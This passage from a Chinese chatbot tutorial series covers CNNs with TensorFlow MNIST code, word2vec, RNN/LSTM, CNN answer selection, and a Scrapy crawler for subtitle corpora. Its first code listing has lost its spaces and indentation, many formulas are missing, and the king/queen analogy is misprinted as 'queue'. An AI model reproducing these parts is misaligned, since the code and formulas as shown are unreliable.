      那么在人工神经网络中,这个思考过程可以抽象成多个层次的计算:第一层计算提取图片中有关类别的特征,比如是否有形如耳鼻口手的元素,是否有形如蓝天白云绿草地的元素;第二层提取是否有胡须、胸部、长发以及面部特征等来判断性别;第三层提取五官、肤质、衣着等信息来确定颜值。为了让神经网络每一层有每一层专门要做的事情,需要在每一层的神经元中添加特殊的约束条件才能做到。人类的大脑是经过上亿年进化而成的,它的功能深不可及,某些效率也极高,而计算机在某些方面效率比人脑要高很多,两种结合起来一切皆有可能。

      这种通过很多层提取特定特征来做机器学习的方法就是传说中的深度学习。

      神奇用法之三

      讲述第三种用法之前我们先讲一下什么是卷积运算。卷积英文是convolution(英文含义是:盘绕、弯曲、错综复杂),数学表达是:

      数学上不好理解,我们可以通俗点来讲:卷积就相当于在一定范围内做平移并求平均值。比如说回声可以理解为原始声音的卷积结果,因为回声是原始声音经过很多物体反射回来声音揉在一起。再比如说回声可以理解为把信号分解成无穷多的冲击信号,然后再进行冲击响应的叠加。再比如说把一张图像做卷积运算,并把计算结果替换原来的像素点,可以实现一种特殊的模糊,这种模糊其实是一种新的特征提取,提取的特征就是图像的纹路。总之卷积就是先打乱,再叠加。

      下面我们在看上面的积分公式,需要注意的是这里是对τ积分,不是对x积分。也就是说对于固定的x,找到x附近的所有变量,求两个函数的乘积,并求和。

      下面回归正题,在神经网络里面,我们设计每个神经元计算输出的公式是卷积公式,这样相当于神经网络的每一层都会输出一种更高级的特征,比如说形状、脸部轮廓等。这种神经网络叫做卷积神经网络。

      继续深入主题,在自然语言中,我们知道较近的上下文词语之间存在一定的相关性,由于标点、特殊词等的分隔使得在传统自然语言处理中会脱离词与词之间的关联,结果丢失了一部分重要信息,利用卷积神经网络完全可以做多元(n-gram)的计算,不会损失自然语言中的临近词的相关性信息。这种方法对于语义分析、语义聚类等都有非常好的效果。

      这种神奇用法就是传说中的CNN

      总结

      神经网络因为其层次和扩展性的强大,有着非常多的神奇用法和非常广泛的应用,因为希望聊天机器人能够具有智能,就不得不寻找能够承载智能的方法,神经网络是其中一个,沿着这个网络,让我们继续探索。

      用CNN做深度学习

      自动问答系统中深度学习的应用较多是RNN,这归因于它天然利用时序建模。俗话说知己知彼百战不殆,为了理解RNN,我们先来了解一下CNN,通过手写数字识别案例来感受一下CNN最擅长的局部感知能力

      卷积神经网络(CNN)

      卷积神经网络(Convolutional Neural Network,CNN)是将二维离散卷积运算和人工神经网络相结合的一种深度神经网络。它的特点是可以自动提取特征。有关卷积神经网络的数学原理和训练过程请见我的另一篇文章《机器学习教程 十五-细解卷积神经网络》。

      手写数字识别

      为了试验,我们直接采用http://yann.lecun.com/exdb/mnist/中的手写数据集,下载到的手写数据集数据文件是用二进制以像素为单位保存的几万张图片文件,通过我的github项目https://github.com/warmheartli/ChatBotCourse中的read_images.c把图片打印出来是像下面这样的输出:

      具体文件格式和打印方式请见我的另一篇基于简单的softmax模型的机器学习算法文章《机器学习教程 十四-利用tensorflow做手写数字识别》中的讲解

      多层卷积网络设计

      为了对mnist手写数据集做训练,我们设计这样的多层卷积网络:

      第一层由一个卷积和一个max pooling完成,其中卷积运算的“视野”是5×5的像素范围,卷积使用1步长、0边距的模板(保证输入输出是同一个大小),1个输入通道(因为图片是灰度的,单色),32个输出通道(也就是设计32个特征)。由于我们通过上面read_images.c的打印可以看到每张图片都是28×28像素,那么第一次卷积输出也是28×28大小。max pooling采用2×2大小的模板,那么池化后输出的尺寸就是14×14,因为一共有32个通道,所以一张图片的输出一共是14×14×32=6272像素

      第二层同样由一个卷积和一个max pooling完成,和第一层不同的是输入通道有32个(对应第一层的32个特征),输出通道我们设计64个(即输出64个特征),因为这一层的输入是每张大小14×14,所以这一个卷积层输出也是14×14,再经过这一层max pooling,输出大小就是7×7,那么一共输出像素就是7×7×64=3136

      第三层是一个密集连接层,我们设计一个有1024个神经元的全连接层,这样就相当于第二层输出的7×7×64个值都作为这1024个神经元的输入

      为了让算法更“智能”,我们把这些神经元的激活函数设计为ReLu函数,即如下图像中的蓝色(其中绿色是它的平滑版g(x)=log(1+e^x)):

      最终的输出层,我们以第三层的1024个输出为输入,设计一个softmax层,输出10个概率值

      tensorflow代码实现

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      fromtensorflow.examples.tutorials.mnistimportinput_data
      importtensorflowastf
      flags = tf.app.flags
      FLAGS = flags.FLAGS
      flags.DEFINE_string('data_dir','./','Directory for storing data')
      mnist = input_data.read_data_sets(FLAGS.data_dir, one_hot=True)
      # 初始化生成随机的权重(变量),避免神经元输出恒为0
      defweight_variable(shape):
      # 以正态分布生成随机值
      initial = tf.truncated_normal(shape, stddev=0.1)
      returntf.Variable(initial)
      # 初始化生成随机的偏置项(常量),避免神经元输出恒为0
      defbias_variable(shape):
      initial = tf.constant(0.1, shape=shape)
      returntf.Variable(initial)
      # 卷积采用1步长,0边距,保证输入输出大小相同
      defconv2d(x, W):
      returntf.nn.conv2d(x, W, strides=[1,1,1,1], padding='SAME')
      # 池化采用2×2模板
      defmax_pool_2x2(x):
      returntf.nn.max_pool(x, ksize=[1,2,2,1],
      strides=[1,2,2,1], padding='SAME')
      # 28*28=784
      x = tf.placeholder(tf.float32, [None,784])
      # 输出类别共10个:0-9
      y_ = tf.placeholder("float", [None,10])
      # 第一层卷积权重,视野是5*5,输入通道1个,输出通道32个
      W_conv1 = weight_variable([5,5,1,32])
      # 第一层卷积偏置项有32个
      b_conv1 = bias_variable([32])
      # 把x变成4d向量,第二维和第三维是图像尺寸,第四维是颜色通道数1
      x_image = tf.reshape(x, [-1,28,28,1])
      h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)
      h_pool1 = max_pool_2x2(h_conv1)
      # 第二层卷积权重,视野是5*5,输入通道32个,输出通道64个
      W_conv2 = weight_variable([5,5,32,64])
      # 第二层卷积偏置项有64个
      b_conv2 = bias_variable([64])
      h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)
      h_pool2 = max_pool_2x2(h_conv2)
      # 第二层池化后尺寸编程7*7,第三层是全连接,输入是64个通道,输出是1024个神经元
      W_fc1 = weight_variable([7*7*64,1024])
      # 第三层全连接偏置项有1024个
      b_fc1 = bias_variable([1024])
      h_pool2_flat = tf.reshape(h_pool2, [-1,7*7*64])
      h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)
      # 按float做dropout,以减少过拟合
      keep_prob = tf.placeholder("float")
      h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)
      # 最后的softmax层生成10种分类
      W_fc2 = weight_variable([1024,10])
      b_fc2 = bias_variable([10])
      y_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)
      cross_entropy = -tf.reduce_sum(y_*tf.log(y_conv))
      # Adam优化器来做梯度最速下降
      train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)
      correct_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))
      accuracy = tf.reduce_mean(tf.cast(correct_prediction,"float"))
      sess = tf.InteractiveSession()
      sess.run(tf.initialize_all_variables())
      foriinrange(20000):
      batch = mnist.train.next_batch(50)
      ifi%100==0:
      train_accuracy = accuracy.eval(feed_dict={
      x:batch[0], y_: batch[1], keep_prob:1.0})
      print"step %d, training accuracy %g"%(i, train_accuracy)
      train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob:0.5})
      print"test accuracy %g"%accuracy.eval(feed_dict={
      x: mnist.test.images, y_: mnist.test.labels, keep_prob:1.0})

      输出结果

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      [root@centos $] python digital_recognition_cnn.py
      Extracting ./train-images-idx3-ubyte.gz
      Extracting ./train-labels-idx1-ubyte.gz
      Extracting ./t10k-images-idx3-ubyte.gz
      Extracting ./t10k-labels-idx1-ubyte.gz
      step 0, training accuracy 0.14
      step 100, training accuracy 0.86
      step 200, training accuracy 0.9
      step 300, training accuracy 0.86
      step 400, training accuracy 1
      step 500, training accuracy 0.92
      step 600, training accuracy 1
      step 700, training accuracy 0.96
      step 800, training accuracy 0.88
      step 900, training accuracy 1
      step 1000, training accuracy 0.96
      step 1100, training accuracy 0.98
      step 1200, training accuracy 0.94
      step 1300, training accuracy 0.92
      step 1400, training accuracy 0.98
      ……

      最终准确率大概能达到99.2%

      将深度学习应用到NLP

      由于语言相比于语音、图像来说,是一种更高层的抽象,因此不是那么适合于深度学习,但是经过人类不断探索,也发现无论多么高层的抽象总是能通过更多底层基础的累积而碰触的到,本文介绍如何将深度学习应用到NLP所必须的底层基础

      词向量

      自然语言需要数学化才能够被计算机认识和计算。数学化的方法有很多,最简单的方法是为每个词分配一个编号,这种方法已经有多种应用,但是依然存在一个缺点:不能表示词与词的关系。

      词向量是这样的一种向量[0.1, -3.31, 83.37, 93.0, -18.37, ……],每一个词对应一个向量,词义相近的词,他们的词向量距离也会越近(欧氏距离、夹角余弦)

      词向量有一个优点,就是维度一般较低,一般是50维或100维,这样可以避免维度灾难,也更容易使用深度学习

      词向量如何训练得出呢?

      首先要了解一下语言模型,语言模型相关的内容请见我另外一篇文章《自己动手做聊天机器人 十三-把语言模型探究到底》。语言模型表达的实际就是已知前n-1个词的前提下,预测第n个词的概率。

      词向量的训练是一种无监督学习,也就是没有标注数据,给我n篇文章,我就可以训练出词向量。

      基于三层神经网络构建n-gram语言模型(词向量顺带着就算出来了)的基本思路:

      最下面的w是词,其上面的C(w)是词向量,词向量一层也就是神经网络的输入层(第一层),这个输入层是一个(n-1)×m的矩阵,其中n-1是词向量数目,m是词向量维度

      第二层(隐藏层)是就是普通的神经网络,以H为权重,以tanh为激活函数

      第三层(输出层)有|V|个节点,|V|就是词表的大小,输出以U为权重,以softmax作为激活函数以实现归一化,最终就是输出可能是某个词的概率。

      另外,神经网络中有一个技巧就是增加一个从输入层到输出层的直连边(线性变换),这样可以提升模型效果,这个变换矩阵设为W

      假设C(w)就是输入的x,那么y的计算公式就是y = b + Wx + Utanh(d+Hx)

      这个模型里面需要训练的有这么几个变量:C、H、U、W。利用梯度下降法训练之后得出的C就是生成词向量所用的矩阵,C(w)表示的就是我们需要的词向量

      上面是讲解词向量如何“顺带”训练出来的,然而真正有用的地方在于这个词向量如何进一步应用。

      词向量的应用

      第一种应用是找同义词。具体应用案例就是google的word2vec工具,通过训练好的词向量,指定一个词,可以返回和它cos距离最相近的词并排序。

      第二种应用是词性标注和语义角色标注任务。具体使用方法是:把词向量作为神经网络的输入层,通过前馈网络和卷积网络完成。

      第三种应用是句法分析和情感分析任务。具体使用方法是:把词向量作为递归神经网络的输入。

      第四种应用是命名实体识别和短语识别。具体使用方法是:把词向量作为扩展特征使用。

      另外词向量有一个非常特别的现象:C(king)-C(queue)≈C(man)-C(woman),这里的减法就是向量逐维相减,换个表达方式就是:C(king)-C(man)+C(woman)和它最相近的向量就是C(queue),这里面的原理其实就是:语义空间中的线性关系。基于这个结论相信会有更多奇妙的功能出现。

      google的文本挖掘深度学习工具word2vec的实现原理

      词向量是将深度学习应用到NLP的根基,word2vec是如今使用最广泛最简单有效的词向量训练工具,那么它的实现原理是怎样的呢?本文将从原理出发来介绍word2vec

      你是如何记住一款车的

      问你这样一个问题:如果你大脑有很多记忆单元,让你记住一款白色奥迪Q7运动型轿车,你会用几个记忆单元?你也许会用一个记忆单元,因为这样最节省你的大脑。那么我们再让你记住一款小型灰色雷克萨斯,你会怎么办?显然你会用另外一个记忆单元来记住它。那么如果让你记住所有的车,你要耗费的记忆单元就不再是那么少了,这种表示方法叫做localist representation。这时你可能会换另外一种思路:我们用几个记忆单元来分别识别大小、颜色、品牌等基础信息,这样通过这几个记忆单元的输出,我们就可以表示出所有的车型了。这种表示方法叫做distributed representation,词向量就是一种用distributed representation表示的向量

      localist representation与distributed representation

      localist representation中文释义是稀疏表达,典型的案例就是one hot vector,也就是这样的一种向量表示:

      [1, 0, 0, 0, 0, 0……]表示成年男子

      [0, 1, 0, 0, 0, 0……]表示成年女子

      [0, 0, 1, 0, 0, 0……]表示老爷爷

      [0, 0, 0, 1, 0, 0……]表示老奶奶

      [0, 0, 0, 0, 1, 0……]表示男婴

      [0, 0, 0, 0, 0, 1……]表示女婴

      ……

      每一类型用向量中的一维来表示

      而distributed representation中文释义是分布式表达,上面的表达方式可以改成:

      性别 老年 成年 婴儿

      [1, 0, 1, 0]表示成年男子

      [0, 0, 1, 0]表示成年女子

      [1, 1, 0, 0]表示老爷爷

      [0, 1, 0, 0]表示老奶奶

      [1, 0, 0, 1]表示男婴

      [0, 0, 0, 1]表示女婴

      如果我们想表达男童和女童,只需要增加一个特征维度即可

      word embedding

      翻译成中文叫做词嵌入,这里的embedding来源于范畴论,在范畴论中称为morphism(态射),态射表示两个数学结构中保持结构的一种过程抽象,比如“函数”、“映射”,他们都是表示一个域和另一个域之间的某种关系。

      范畴论中的嵌入(态射)是要保持结构的,而word embedding表示的是一种“降维”的嵌入,通过降维避免维度灾难,降低计算复杂度,从而更易于在深度学习中应用。

      理解了distributed representation和word embedding的概念,我们就初步了解了word2vec的本质,它其实是通过distributed representation的表达方式来表示词,而且通过降维的word embedding来减少计算量的一种方法

      word2vec中的神经网络

      word2vec中做训练主要使用的是神经概率语言模型,这需要掌握一些基础知识,否则下面的内容比较难理解,关于神经网络训练词向量的基础知识我在《自己动手做聊天机器人 二十四-将深度学习应用到NLP》中有讲解,可以参考,这里不再赘述。

      在word2vec中使用的最重要的两个模型是CBOW和Skip-gram模型,下面我们分别来介绍这两种模型

      CBOW模型

      CBOW全称是Continuous Bag-of-Words Model,是在已知当前词的上下文的前提下预测当前词

      CBOW模型的神经网络结构设计如下:

      输入层:词w的上下文一共2c个词的词向量

      投影层:将输入层的2c个向量做求和累加

      输出层:一个霍夫曼树,其中叶子节点是语料中出现过的词,权重是出现的次数

      我们发现这一设计相比《自己动手做聊天机器人 二十四-将深度学习应用到NLP》中讲到的神经网络模型把首尾相接改成了求和累加,这样减少了维度;去掉了隐藏层,这样减少了计算量;输出层由softmax归一化运算改成了霍夫曼树;这一系列修改对训练的性能有很大提升,而效果不减,这是独到之处。

      基于霍夫曼树的Hierarchical Softmax技术

      上面的CBOW输出层为什么要建成一个霍夫曼树呢?因为我们是要基于训练语料得到每一个可能的w的概率。那么具体怎么得到呢?我们先来看一下这个霍夫曼树的例子:

      在这个霍夫曼树中,我们以词足球为例,走过的路径图上容易看到,其中非根节点上的θ表示待训练的参数向量,也就是要达到这种效果:当在投射层产出了一个新的向量x,那么我通过逻辑回归公式:

      σ(xTθ) = 1/(1+e^(-xTθ))

      就可以得出在每一层被分到左节点(1)还是右节点(0)的概率分别是

      p(d|x,θ) = 1-σ(xTθ)

      p(d|x,θ) = σ(xTθ)

      那么就有:

      p(足球|Context(足球)) = ∏ p(d|x,θ)

      现在模型已经有了,下面就是通过语料来训练v(Context(w))、x和θ的过程了

      我们以对数似然函数为优化目标,盗取一个网上的推导公式:

      假设两个求和符号里面的部分记作L(w, j),那么有

      于是θ的更新公式:

      同理得出x的梯度公式:

      因为x是多个v的累加,word2vec中v的更新方法是:

      想想机器学习真是伟大,整个模型从上到下全是未知数,竟然能算出来我真是服了

      Skip-gram模型

      Skip-gram全称是Continuous Skip-gram Model,是在已知当前词的情况下预测上下文

      Skip-gram模型的神经网络结构设计如下:

      输入层:w的词向量v(w)

      投影层:依然是v(w),就是一个形式

      输出层:和CBOW一样的霍夫曼树

      后面的推导公式和CBOW大同小异,其中θ和v(w)的更新公式除了把符号名从x改成了v(w)之外完全一样,如下:

      体验真实的word2vec

      首先我们从网上下载一个源码,因为google官方的svn库已经不在了,所以只能从csdn下了,但是因为还要花积分才能下载,所以我干脆分享到了我的git上(https://github.com/warmheartli/ChatBotCourse/tree/master/word2vec),大家可以直接下载

      下载下来后直接执行make编译(如果是mac系统要把代码里所有的#include替换成#include)

      编译后生成word2vec、word2phrase、word-analogy、distance、compute-accuracy几个二进制文件

      我们先用word2vec来训练

      首先我们要有训练语料,其实就是已经切好词(空格分隔)的文本,比如我们已经有了这个文本文件叫做train.txt,内容是”人工 智能 一直 以来 是 人类 的 梦想 造 一台 可以 为 你 做 一切 事情 并且 有 情感 的 机器 人”并且重复100遍

      执行

      1
      ./word2vec -train train.txt -output vectors.bin -cbow 0 -size 200 -window 5 -negative 0 -hs 1 -sample 1e-3 -thread 12 -binary 1

      会生成一个vectors.bin文件,这个就是训练好的词向量的二进制文件,利用这个文件我们可以求近义词了,执行:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      ./distance vectors.bin
      Enter word or sentence (EXIT to break): 人类
      Word: 人类 Position in vocabulary: 6
      Word Cosine distance
      ------------------------------------------------------------------------
      可以 0.094685
      为 0.091899
      人工 0.088387
      机器 0.076216
      智能 0.073093
      情感 0.071088
      做 0.059367
      一直 0.056979
      以来 0.049426
      一切 0.042201
      </s> 0.025968
      事情 0.014169
      的 0.003633
      是 -0.012021
      有 -0.014790
      一台 -0.021398
      造 -0.031242
      人 -0.043759
      你 -0.072834
      梦想 -0.086062
      并且 -0.122795
      ……

      如果你有很丰富的语料,那么结果会很漂亮

      图解递归神经网络(RNN)

      聊天机器人是需要智能的,而如果他记不住任何信息,就谈不上智能,递归神经网络是一种可以存储记忆的神经网络,LSTM是递归神经网络的一种,在NLP领域应用效果不错,本节我们来介绍RNN和LSTM

      递归神经网络

      递归神经网络(RNN)是两种人工神经网络的总称。一种是时间递归神经网络(recurrent neural network),另一种是结构递归神经网络(recursive neural network)。时间递归神经网络的神经元间连接构成有向图,而结构递归神经网络利用相似的神经网络结构递归构造更为复杂的深度网络。两者训练的算法不同,但属于同一算法变体(百度百科)。本节我们重点介绍时间递归神经网络,下面提到RNN特指时间递归神经网络。

      时间递归神经网络

      传统的神经网络叫做FNN(Feed-Forward Neural Networks),也就是前向反馈神经网络,有关传统神经网络的介绍请见《机器学习教程 十二-神经网络模型的原理》,RNN是在此基础上引入了定向循环,也就是已神经元为节点组成的图中存在有向的环,这种神经网络可以表达某些前后关联关系,事实上,真正的生物神经元之间也是存在这种环形信息传播的,RNN也是神经网络向真实生物神经网络靠近的一个进步。一个典型的RNN是这样的:

      图中隐藏层中的节点之间构成了全连接,也就是一个隐藏层节点的输出可以作为另一个隐藏层节点甚至它自己的输入

      这种结构可以抽象成:

      其中U、V、W都是变换概率矩阵,x是输入,o是输出

      比较容易看出RNN的关键是隐藏层,因为隐藏层能够捕捉到序列的信息,也就是一种记忆的能力

      在RNN中U、V、W的参数都是共享的,也就是只需要关注每一步都在做相同的事情,只是输入不同,这样来降低参数个数和计算量

      RNN在NLP中的应用比较多,因为语言模型就是在已知已经出现的词的情况下预测下一个词的概率的,这正是一个有时序的模型,下一个词的出现取决于前几个词,刚好对应着RNN中隐藏层之间的内部连接

      RNN的训练方法

      RNN的训练方法和传统神经网络一样,都是使用BP误差反向传播算法来更新和训练参数。

      因为从输入到最终的输出中间经过了几步是不确定的,因此为了计算方便,我们利用时序的方式来做前向计算,我们假设x表示输入值,s表示输入x经过U矩阵变换后的值,h表示隐藏层的激活值,o表示输出层的值, f表示隐藏层的激活函数,g表示输出层的激活函数:

      当t=0时,输入为x0, 隐藏层为h0

      当t=1时,输入为x1, s1 = Ux1+Wh0, h1 = f(s1), o1 = g(Vh1)

      当t=2时,s2 = Ux2+Wh1, h2 = f(s2), o2 = g(Vh2)

      以此类推,st = Uxt + Wh(t-1), ht = f(st), ot = g(Vht)

      这里面h=f(现有的输入+过去记忆总结)是对RNN的记忆能力的全然体现

      通过这样的前向推导,我们是不是可以对RNN的结构做一个展开,成如下的样子:

      这样从时序上来看更直观明了

      下面就是反向修正参数的过程了,每一步输出o和实际的o值总会有误差,和传统神经网络反向更新的方法一样,用误差来反向推导,利用链式求导求出每层的梯度,从而更新参数,反向推导过程中我们还是把神经网络结构看成展开后的样子:

      根据链式求导法则,得出隐藏层的残差计算公式为:

      因此W和U的梯度就是:

      LSTM(Long Short Tem Momery networks)

      特别讲解一下LSTM是因为LSTM是一种特别的RNN,它是RNN能得到成功应用的关键,当下非常流行。RNN存在一个长序列依赖(Long-Term Dependencies)的问题:下一个词的出现概率和非常久远的之前的词有关,但考虑到计算量的问题,我们会对依赖的长度做限制,LSTM很好的解决了这个问题,因为它专门为此而设计。

      借用http://colah.github.io/posts/2015-08-Understanding-LSTMs/中经典的几张图来说明下,第一张图是传统RNN的另一种形式的示意图,它只包含一个隐藏层,以tanh为激发函数,这里面的“记忆”体现在t的滑动窗口上,也就是有多少个t就有多少记忆,如下图

      那么我们看LSTM的设计,如下,这里面有一些符号,其中黄色方框是神经网络层(意味着有权重系数和激活函数,σ表示sigmoid激活函数,tanh表示tanh激活函数),粉红圆圈表示矩阵运算(矩阵乘或矩阵加)

      这里需要分部分来说,下面这部分是一个历史信息的传递和记忆,其中粉红×是就像一个能调大小的阀门(乘以一个0到1之间的系数),下面的第一个sigmoid层计算输出0到1之间的系数,作用到粉红×门上,这个操作表达上一阶段传递过来的记忆保留多少,忘掉多少

      其中的sigmoid公式如下:

      可以看出忘掉记忆多少取决于上一隐藏层的输出h{t-1}和本层的输入x{t}

      下面这部分是由上一层的输出h{t-1}和本层的输入x{t}得出的新信息,存到记忆中:

      其中包括计算输出值Ct部分的tanh神经元和计算比例系数的sigmoid神经元(这里面既存在sigmoid又存在tanh原因在于sigmoid取值范围是[0,1]天然作为比例系数,而tanh取值范围是[-1,1]可以作为一个输出值)。其中i{t}和Ct计算公式如下:

      那么Ct输出就是:

      下面部分是隐藏层输出h的计算部分,它考虑了当前拥有的全部信息(上一时序隐藏层的输出、本层的输入x和当前整体的记忆信息),其中本单元状态部分C通过tanh激活并做一个过滤(上一时序输出值和当前输入值通过sigmoid激活后的系数)

      计算公式如下:

      LSTM非常适合在NLP领域应用,比如一句话出现的词可以认为是不同时序的输入x,而在某一时间t出现词A的概率可以通过LSTM计算,因为词A出现的概率是取决于前面出现过的词的,但取决于前面多少个词是不确定的,这正是LSTM所做的存储着记忆信息C,使得能够得出较接近的概率。

      总结

      RNN就是这样一种神经网络,它让隐藏层自身之间存在有向环,从而更接近生物神经网络,也具有了存储记忆的能力,而LSTM作为RNN中更有实用价值的一种,通过它特殊的结构设计实现了永久记忆留存,更适合于NLP,这也为将深度学习应用到自然语言处理开了先河,有记忆是给聊天机器人赋予智能的前提,这也为我们的聊天机器人奠定了实践基础。

      用深度学习来做自动问答的一般方法

      聊天机器人本质上是一个范问答系统,既然是问答系统就离不开候选答案的选择,利用深度学习的方法可以帮助我们找到最佳的答案,本节我们来讲述一下用深度学习来做自动问答的一般方法

      语料库的获取方法

      对于一个范问答系统,一般我们从互联网上收集语料信息,比如百度、谷歌等,用这些结果构建问答对组成的语料库。然后把这些语料库分成多个部分:训练集、开发集、测试集

      问答系统训练其实是训练一个怎么在一堆答案里找到一个正确答案的模型,那么为了让样本更有效,在训练过程中我们不把所有答案都放到一个向量空间中,而是对他们做个分组,首先,我们在语料库里采集样本,收集每一个问题对应的500个答案集合,其中这500个里面有正向的样本,也会随机选一些负向样本放里面,这样就能突出这个正向样本的作用了

      基于CNN的系统设计

      CNN的三个优点:sparse interaction(稀疏的交互),parameter sharing(参数共享),equivalent respresentation(等价表示)。正是由于这三方面的优点,才更适合于自动问答系统中的答案选择模型的训练。

      我们设计卷积公式表示如下(不了解卷积的含义请见《机器学习教程 十五-细解卷积神经网络》):

      假设每个词用三维向量表示,左边是4个词,右边是卷积矩阵,那么得到输出为:

      如果基于这个结果做1-MaxPool池化,那么就取o中的最大值

      通用的训练方法

      训练时获取问题的词向量Vq(这里面词向量可以使用google的word2vec来训练,有关word2vec的内容可以看《自己动手做聊天机器人 二十五-google的文本挖掘深度学习工具word2vec的实现原理》),和一个正向答案的词向量Va+,和一个负向答案的词向量Va-, 然后比较问题和这两个答案的相似度,两个相似度的差值如果大于一个阈值m就用来更新模型参数,然后继续在候选池里选答案,小于m就不更新模型,即优化函数为:

      参数更新方式和其他卷积神经网络方式相同,都是梯度下降、链式求导

      对于测试数据,计算问题和候选答案的cos距离,相似度最大的那个就是正确答案的预测

      神经网络结构设计

      以下是六种结构设计,解释一下,其中HL表示hide layer隐藏层,它的激活函数设计成z = tanh(Wx+B),CNN是卷积层,P是池化层,池化步长为1,T是tanh层,P+T的输出是向量表示,最终的输出是两个向量的cos相似度

      图中HL或CNN连起来的表示他们共享相同的权重。CNN的输出是几维的取决于做多少个卷积特征,如果有4个卷积,那么结果就是4*3的矩阵(这里面的3在下一步被池化后就变成1维了)

      以上结构的效果在论文《Applying Deep Learning To Answer Selection- A Study And An Open Task》中有详细说明,这里不赘述

      总结

      要把深度学习运用到聊天机器人中,关键在于以下几点:

      1. 对几种神经网络结构的选择、组合、优化

      2. 因为是有关自然语言处理,所以少不了能让机器识别的词向量

      3. 当涉及到相似或匹配关系时要考虑相似度计算,典型的方法是cos距离

      4. 如果需求涉及到文本序列的全局信息就用CNN或LSTM

      5. 当精度不高时可以加层

      6. 当计算量过大时别忘了参数共享和池化

      脑洞大开:基于美剧字幕的聊天语料库建设方案

      要让聊天机器人进行学习,需要海量的聊天语料库,但是网上的语料库基本上都是有各种标注的文章,并没有可用的对话语料,虽然有一些社区的帖子数据,但是既要花大把银子还不知道质量如何。笔者突然灵机一动,找到一个妙招能获取海量高质聊天语料,这下聊天机器人再也不愁语料数据了。

      美剧字幕

      是的,你没有看错,我就是这样获取海量高质聊天语料的。外文电影或电视剧的字幕文件是一个天然的聊天语料,尤其是对话比较多的美剧最佳。为了能下载大量美剧字幕,我打算抓取字幕库网站www.zimuku.net,当然你也可以选择其他网站抓取。

      自动抓取字幕

      有关爬虫相关内容请见我的另一篇文章《教你成为全栈工程师(Full Stack Developer) 三十-十分钟掌握最强大的python爬虫》。在这里我直接贴上我的抓取器重要代码(代码共享在了https://github.com/warmheartli/ChatBotCourse):

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      # coding:utf-8
      import sys
      reload(sys)
      sys.setdefaultencoding( "utf-8" )
      import scrapy
      from w3lib.html import remove_tags
      from subtitle_crawler.items import SubtitleCrawlerItem
      class SubTitleSpider(scrapy.Spider):
      name = "subtitle"
      allowed_domains = ["zimuku.net"]
      start_urls = [
      "http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=20",
      "http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=21",
      "http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=22",
      ]
      def parse(self, response):
      hrefs = response.selector.xpath('//div[contains(@class, "persub")]/h1/a/@href').extract()
      for href in hrefs:
      url = response.urljoin(href)
      request = scrapy.Request(url, callback=self.parse_detail)
      yield request
      def parse_detail(self, response):
      url = response.selector.xpath('//li[contains(@class, "dlsub")]/div/a/@href').extract()[0]
      print "processing: ", url
      request = scrapy.Request(url, callback=self.parse_file)
      yield request
      def parse_file(self, response):
      body = response.body
      item = SubtitleCrawlerItem()
      item['url'] = response.url
      item['body'] = body
      return item

      下面是pipeline.py代码:

      1
      2
      3
      4
      5
      6
      7
      8
      class SubtitleCrawlerPipeline(object):
      def process_item(self, item, spider):
      url = item['url']
      file_name = url.replace('/','_').replace(':','_')
      fp = open('result/'+file_name, 'w')
      fp.write(item['body'])
      fp.close()
      return item

      看下我抓取的最终效果

      1
      2
      3
      4
      5
      6
      [root@centos:~/Developer/ChatBotCourse/subtitle $] ls result/|head -1
      http___shooter.zimuku.net_download_265300_Hick.2011.720p.BluRay.x264.YIFY.rar
      [root@centos:~/Developer/ChatBotCourse/subtitle $] ls result/|wc -l
      82575
      [root@centos:~/Developer/ChatBotCourse/subtitle $] du -hs result/
      16G result/

      字幕文件的解压方法

      linux下怎么解压zip文件

      直接执行unzip file.zip即可

      linux下怎么解压rar文件

      http://www.rarlab.com/download.htm

      wgethttp://www.rarlab.com/rar/rarlinux-x64-5.4.0.tar.gz

      tar zxvf rarlinux-x64-5.4.0.tar.gz

      ./rar/unrar试试

      解压命令:

      unrar x file.rar

      linux下怎么解压7z文件

      http://downloads.sourceforge.net/project/p7zip下载源文件,解压后执行make编译后bin/7za可用,用法

      bin/7za x file.7z

      最终字幕的处理方式

      有关解压出来的文本字幕文件的处理,我后面的文章会详细讲解如何分词、如何组合,敬请期待。

      重磅:近1GB的三千万聊天语料供出

      经过半个月的倾力打造,建设好的聊天语料库包含三千多万条简体中文高质量聊天语料,近1G的纯文本数据。此语料库全部基于2万部影视剧字幕,经由爬取、分类、解压、语言识别、编码识别、编码转换、过滤清洗等一系列繁琐过程。把整个建设过程分享出来供大家玩耍。

      注意:本文提到的程序和脚本都分享在https://github.com/warmheartli/ChatBotCourse。如需直接获取最终语料库,请见文章末尾。

      第一步:爬取影视剧字幕

      请见我的这篇文章《二十八-脑洞大开:基于美剧字幕的聊天语料库建设方案》

      第二步:压缩格式分类

